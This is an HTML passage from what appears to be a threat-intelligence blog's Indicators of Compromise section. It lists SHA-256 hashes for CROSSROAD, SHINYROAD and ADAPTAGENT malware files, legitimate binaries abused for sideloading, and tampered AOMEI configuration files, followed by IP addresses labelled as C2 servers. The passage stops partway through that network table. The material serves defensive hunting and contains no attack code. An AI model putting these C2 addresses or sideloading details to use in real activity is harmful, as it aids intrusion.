&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Indicators of Compromise (IOCs)&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a &lt;/span&gt;&lt;a href="https://www.virustotal.com/gui/collection/dcba624e1f934c2dc047f12161f51397b1603610f7d7a15069c38f0c5bd9e09f" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;GTI Collection&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; for registered users.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Malicious File Hashes (SHA-256)&lt;/span&gt;&lt;/h4&gt;
&lt;div align="left"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;&lt;table&gt;&lt;colgroup&gt;&lt;col/&gt;&lt;col/&gt;&lt;/colgroup&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;File / Description&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;SHA-256&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;upgrade-now.zip&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (May 20 CROSSROAD Archive)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;6670ab3f0434a42f33416f8354150b1701e7615f3cfa2f1635e54f8df0f6eec7&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;upgrade-now.exe&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (May 20 CROSSROAD Loader)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;11e576df44e9c9eef72b9f5b699291bcdb200a19130778ec231e5b0987b913ad&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;upgrade-now.exe&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (July 16 CROSSROAD Loader)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;9a58e8f49edf5644e5728f74cf36f560d3d486fa51db4db69d927963c7aca450&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;upgrade-now.exe&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (July 20 CROSSROAD Loader)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;b360b6db0c2b668317edc1504a7c39ef047f0d925c8f113b521f6724c157ae21&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;upgrade-now.zip&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (July 20 CROSSROAD Archive)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;9ed503c6a9a3a493fb859401e9ed469eed77ab9927341964d6dbfbfa6255aeba&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;component.zip&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt; / &lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;en.zip&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (SHINYROAD Package)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;d167bc898e856da8a4003cb4dfc7de55fea109eee3cd64fc8999710314109464&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;&lt;strong style="vertical-align: baseline;"&gt;RuntimeComponent.dll&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;Custom &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;PocketPy&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; Engine)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;8fbaa74b27dc1e89abfc694e834378746f0ad37a688098c5f8f511410157c8b8&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;BlkScrDl.dll&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (Malicious DLL)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;5837bc26a73cfb46ffd466cf889f03ce2f6a48f1f3fd42ec8be22189d51cab1e&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;config.zip&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (Python Bytecode Archive)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;4c0a75e0f62ddc0bb350c224fe996f3b2ab08dcb0d288231c61ffe9406c7045b&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;metadata.dat&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (ChaCha20 Payload)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;4b4d25b3501519476f9a62a88a781e4f446f669280eb5e98c6b96eb6d3743431&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;axmlx.&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (Benign Decoy file)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;d7cfa659d224928e7b72c806dcf2169594d993ecf6422e6efcdcf251190f2e7c&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;NitroPromotion.exe&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (Launcher for ADAPTAGENT Masquerading as a Nitro Executable)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;14b31918075e6130b9123158743db0a81e2d7bfcf6d39731ee7d9200a98cd591&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Eztwain4.dll&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (ADAPTAGENT Helper DLL)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;8c8090aca8ddb1cf968d2b810457e0cfce97c03cd721f70d2eca7f37f2681fc4&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;abe.exe&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (Secondary Payload)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;7b252be444dee2fb2a57043a823dc5b5e1fae970aea91ee2c8339aa70329969d&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="vertical-align: baseline; color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;Table 2: Malicious File Indicators&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Legitimate File Hashes (SHA-256)&lt;/span&gt;&lt;/h4&gt;
&lt;div align="left"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;&lt;table&gt;&lt;colgroup&gt;&lt;col/&gt;&lt;col/&gt;&lt;/colgroup&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;File / Description&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;SHA-256&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;WinLpcDl.dll&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Legitimate &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Radmin component)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;2d99e9d732ff9304d97c7856b052ca520ae689fec1ce86df724de741913afa4b&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;WinLpcDl2.dll&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Legitimate &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Radmin component)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;dad559ae9bc977783c7251591eeb7aa432b860ce821ccf10b1260fd0e650c951&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Nitro_Scan2PDFApp.exe &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;(Legitimate Signed Binary, Abused for Sideloading)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;d71a119b4950ee88dd36205176d989a64df5248ac268591d4bbb78621a73acbd&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="vertical-align: baseline; color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;Table 3: Legitimate File Indicators&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Configuration File Hashes (AOMEI &lt;/span&gt;&lt;code style="font-style: italic; vertical-align: baseline;"&gt;.ini&lt;/code&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;)&lt;/span&gt;&lt;/h4&gt;
&lt;div align="left"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;&lt;table&gt;&lt;colgroup&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;/colgroup&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;File Description&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;SHA-256&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;down_html.ini&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (Tampered July 16, 08:33–08:39 UTC)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;924ad92d89dde577d5858b2ebc5703a485467842d78e98b75019b2e2e0ac3fe6&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Notifycfg.ini&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (Tampered July 16 Window)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;d2f9ef2429312667f0512504b6a19ba4a9cc5514f1b2933923dd42f75a1c5934&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Notifycfg.ini&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (Tampered July 20 WebDAV Version)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;286e0d8c7bdfaa7c251a3e8f0f2fefbe25c67586c0149d39b1095c89dc6023c8&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;down_html.ini&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (Tampered July 20, 10:35–10:40 UTC)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;f2a7d0a4c8613a9cdd31ede6131b27040c0571ca97970b245a710191806d7ac4&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="vertical-align: baseline; color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;Table 4: Configuration Files&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Network Indicators&lt;/span&gt;&lt;/h4&gt;
&lt;div align="left"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;&lt;table&gt;&lt;colgroup&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;/colgroup&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Type&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Indicator&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Context&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;IP Address&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;8.210.84.56&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;WebDAV NTLM Target Server; Adaptix C2&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;IP Address&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;8.218.65.184&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Historical SHINYROAD C2 Server. Ports used included &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;41397 &lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;and&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt; 443&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;IP Address&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;47.239.60.117&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Secondary Infrastructure&lt;/span&gt;&lt;/p&gt;
